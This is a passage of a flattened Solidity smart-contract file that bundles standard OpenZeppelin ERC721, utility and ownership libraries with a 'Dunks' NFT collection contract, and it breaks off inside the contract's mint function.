`operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: Dunks.sol pragma solidity ^0.8.0; contract Dunks is ERC721Enumerable, Ownable { using SafeMath for uint256; using Strings for uint256; uint256 public constant NFT_SUPPLY = 10000; uint256 public constant MINT_PRICE = 30000000000000000; bool public saleStarted = false; string private _baseURIextended; uint256 public startingIndexBlock; uint256 public offset; constructor() ERC721("Dunks", "DUNKS") { } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory baseURI = _baseURI(); if (offset == 0) { return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "")) : ""; } else { uint256 dunkId = tokenId.add(offset) % NFT_SUPPLY; return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, dunkId.toString(), ".json")) : ""; } } function mint(uint256 amountToMint) public payable { require(saleStarted == true, 